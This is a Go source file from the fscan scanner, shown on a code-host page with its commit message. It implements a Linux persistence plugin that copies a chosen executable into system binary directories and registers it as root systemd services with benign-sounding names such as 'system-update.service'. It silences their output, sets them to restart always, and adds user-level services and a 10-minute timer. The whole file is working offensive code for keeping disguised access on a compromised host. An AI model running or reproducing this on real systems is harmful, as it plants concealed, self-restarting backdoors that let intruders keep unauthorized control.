fscan/Plugins/local/systemdservice/plugin.go
ZacharyZcR 804274ff67 feat: 添加Linux持久化插件套件
- 新增ldpreload插件:通过LD_PRELOAD动态库预加载实现持久化
- 新增shellenv插件:通过修改shell配置文件实现持久化
- 新增crontask插件:通过cron计划任务实现持久化
- 新增systemdservice插件:通过systemd服务实现持久化
- 添加-persistence-file参数支持.elf/.sh文件
- 四种持久化方式覆盖多个持久化向量
- 仅支持Linux平台,包含完善的平台检查
- 集成智能权限管理和错误处理机制
2025-08-11 06:18:15 +08:00

488 lines
13 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package systemdservice
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// SystemdServicePlugin 系统服务持久化插件 - 使用简化架构
type SystemdServicePlugin struct {
*local.BaseLocalPlugin
targetFile string
}
// NewSystemdServicePlugin 创建系统服务持久化插件 - 简化版本
func NewSystemdServicePlugin() *SystemdServicePlugin {
// 从全局参数获取目标文件路径
targetFile := common.PersistenceTargetFile
if targetFile == "" {
targetFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "systemdservice",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux 系统服务持久化插件通过systemd服务实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "linux", "systemd", "service"},
Protocols: []string{"local"},
}
plugin := &SystemdServicePlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
targetFile: targetFile,
}
// 只支持Linux平台
plugin.SetPlatformSupport([]string{"linux"})
// 需要root权限来创建系统服务
plugin.SetRequiresPrivileges(true)
return plugin
}
// Initialize 初始化插件
func (p *SystemdServicePlugin) Initialize() error {
if p.targetFile == "" {
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
}
// 检查systemctl是否可用
if _, err := exec.LookPath("systemctl"); err != nil {
return fmt.Errorf("systemctl命令不可用: %v", err)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行系统服务持久化 - 简化版本
func (p *SystemdServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
if runtime.GOOS != "linux" {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("系统服务持久化只支持Linux平台"),
}, nil
}
common.LogBase("开始系统服务持久化...")
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
// 执行持久化操作
results := make([]string, 0)
// 1. 复制文件到系统目录
servicePath, err := p.copyToServicePath()
if err != nil {
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
} else {
results = append(results, fmt.Sprintf("文件已复制到: %s", servicePath))
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", servicePath))
}
// 2. 创建systemd服务文件
serviceFiles, err := p.createSystemdServices(servicePath)
if err != nil {
common.LogError(fmt.Sprintf("创建systemd服务失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已创建systemd服务: %s", strings.Join(serviceFiles, ", ")))
common.LogSuccess("已创建systemd服务")
}
// 3. 启用并启动服务
err = p.enableAndStartServices(serviceFiles)
if err != nil {
common.LogError(fmt.Sprintf("启动服务失败: %v", err))
} else {
results = append(results, "服务已启用并启动")
common.LogSuccess("服务已启用并启动")
}
// 4. 创建用户级服务
userServiceFiles, err := p.createUserServices(servicePath)
if err != nil {
common.LogError(fmt.Sprintf("创建用户服务失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已创建用户服务: %s", strings.Join(userServiceFiles, ", ")))
common.LogSuccess("已创建用户服务")
}
// 5. 创建定时器服务
err = p.createTimerServices(servicePath)
if err != nil {
common.LogError(fmt.Sprintf("创建定时器服务失败: %v", err))
} else {
results = append(results, "已创建systemd定时器")
common.LogSuccess("已创建systemd定时器")
}
success := len(results) > 0
result := &base.ScanResult{
Success: success,
Service: "SystemdServicePersistence",
Banner: fmt.Sprintf("系统服务持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
Extra: map[string]interface{}{
"target_file": p.targetFile,
"platform": runtime.GOOS,
"methods": results,
"status": "completed",
},
}
return result, nil
}
// copyToServicePath 复制文件到服务目录
func (p *SystemdServicePlugin) copyToServicePath() (string, error) {
// 选择服务目录
serviceDirs := []string{
"/usr/local/bin",
"/opt/local",
"/usr/bin",
}
var targetDir string
for _, dir := range serviceDirs {
if err := os.MkdirAll(dir, 0755); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("无法创建服务目录")
}
// 生成服务可执行文件名
basename := filepath.Base(p.targetFile)
serviceName := strings.TrimSuffix(basename, filepath.Ext(basename))
if serviceName == "" {
serviceName = "system-service"
}
targetPath := filepath.Join(targetDir, serviceName)
// 复制文件
err := p.copyFile(p.targetFile, targetPath)
if err != nil {
return "", err
}
// 设置执行权限
os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件内容
func (p *SystemdServicePlugin) copyFile(src, dst string) error {
sourceData, err := os.ReadFile(src)
if err != nil {
return err
}
return os.WriteFile(dst, sourceData, 0755)
}
// createSystemdServices 创建systemd服务文件
func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) {
systemDir := "/etc/systemd/system"
if err := os.MkdirAll(systemDir, 0755); err != nil {
return nil, err
}
services := []struct {
name string
content string
enable bool
}{
{
name: "system-update.service",
enable: true,
content: fmt.Sprintf(`[Unit]
Description=System Update Service
After=network.target
Wants=network-online.target
[Service]
Type=simple
User=root
ExecStart=%s
Restart=always
RestartSec=60
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
`, execPath),
},
{
name: "system-monitor.service",
enable: true,
content: fmt.Sprintf(`[Unit]
Description=System Monitor Service
After=network.target
[Service]
Type=forking
User=root
ExecStart=%s
PIDFile=/var/run/system-monitor.pid
Restart=on-failure
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
`, execPath),
},
{
name: "network-check.service",
enable: false,
content: fmt.Sprintf(`[Unit]
Description=Network Check Service
After=network-online.target
Wants=network-online.target
[Service]
Type=oneshot
User=root
ExecStart=%s
StandardOutput=null
StandardError=null
`, execPath),
},
}
var created []string
for _, service := range services {
servicePath := filepath.Join(systemDir, service.name)
if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil {
created = append(created, service.name)
}
}
if len(created) == 0 {
return nil, fmt.Errorf("无法创建任何systemd服务文件")
}
return created, nil
}
// enableAndStartServices 启用并启动服务
func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error {
var errors []string
for _, serviceName := range serviceFiles {
// 重新加载systemd配置
exec.Command("systemctl", "daemon-reload").Run()
// 启用服务
if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil {
errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err))
}
// 启动服务
if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil {
errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err))
}
}
if len(errors) > 0 {
return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
}
return nil
}
// createUserServices 创建用户级服务
func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) {
userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
if userDir == "/.config/systemd/user" { // HOME为空的情况
userDir = "/tmp/.config/systemd/user"
}
if err := os.MkdirAll(userDir, 0755); err != nil {
return nil, err
}
userServices := []string{
"user-service.service",
"background-task.service",
}
userServiceContent := fmt.Sprintf(`[Unit]
Description=User Background Service
After=graphical-session.target
[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=30
StandardOutput=null
StandardError=null
[Install]
WantedBy=default.target
`, execPath)
var created []string
for _, serviceName := range userServices {
servicePath := filepath.Join(userDir, serviceName)
if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil {
created = append(created, serviceName)
// 启用用户服务
exec.Command("systemctl", "--user", "enable", serviceName).Run()
exec.Command("systemctl", "--user", "start", serviceName).Run()
}
}
return created, nil
}
// createTimerServices 创建定时器服务
func (p *SystemdServicePlugin) createTimerServices(execPath string) error {
systemDir := "/etc/systemd/system"
// 创建定时器服务文件
timerService := fmt.Sprintf(`[Unit]
Description=Scheduled Task Service
Wants=scheduled-task.timer
[Service]
Type=oneshot
ExecStart=%s
StandardOutput=null
StandardError=null
`, execPath)
// 创建定时器文件
timerConfig := `[Unit]
Description=Run Scheduled Task Every 10 Minutes
Requires=scheduled-task.service
[Timer]
OnBootSec=5min
OnUnitActiveSec=10min
AccuracySec=1s
[Install]
WantedBy=timers.target
`
// 写入服务文件
serviceFile := filepath.Join(systemDir, "scheduled-task.service")
if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil {
return err
}
// 写入定时器文件
timerFile := filepath.Join(systemDir, "scheduled-task.timer")
if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil {
return err
}
// 启用定时器
exec.Command("systemctl", "daemon-reload").Run()
exec.Command("systemctl", "enable", "scheduled-task.timer").Run()
exec.Command("systemctl", "start", "scheduled-task.timer").Run()
return nil
}
// GetLocalData 获取系统服务持久化本地数据
func (p *SystemdServicePlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "systemdservice"
data["platform"] = runtime.GOOS
data["target_file"] = p.targetFile
data["persistence_method"] = "Systemd Service"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
// 检查systemd版本
if output, err := exec.Command("systemctl", "--version").Output(); err == nil {
data["systemd_version"] = strings.Split(string(output), "\n")[0]
}
return data, nil
}
// ExtractData 提取数据
func (p *SystemdServicePlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("系统服务持久化完成,目标文件: %s", p.targetFile),
Data: data,
Extra: map[string]interface{}{
"target_file": p.targetFile,
"persistence_method": "Systemd Service",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *SystemdServicePlugin) GetInfo() string {
var info strings.Builder
info.WriteString("系统服务持久化插件\n")
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
info.WriteString("支持平台: Linux (需要systemd)\n")
info.WriteString("功能: 通过systemd服务实现持久化\n")
info.WriteString("方法: 系统服务、用户服务、定时器服务\n")
info.WriteString("权限要求: 需要root权限创建系统服务\n")
info.WriteString("自动启动: 开机自启动和崩溃重启\n")
return info.String()
}
// RegisterSystemdServicePlugin 注册系统服务持久化插件
func RegisterSystemdServicePlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "systemdservice",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux 系统服务持久化插件通过systemd服务实现持久化",
Category: "local",
Tags: []string{"systemdservice", "local", "persistence", "linux"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewSystemdServicePlugin()
},
)
base.GlobalPluginRegistry.Register("systemdservice", factory)
}
// init 插件注册函数
func init() {
RegisterSystemdServicePlugin()
}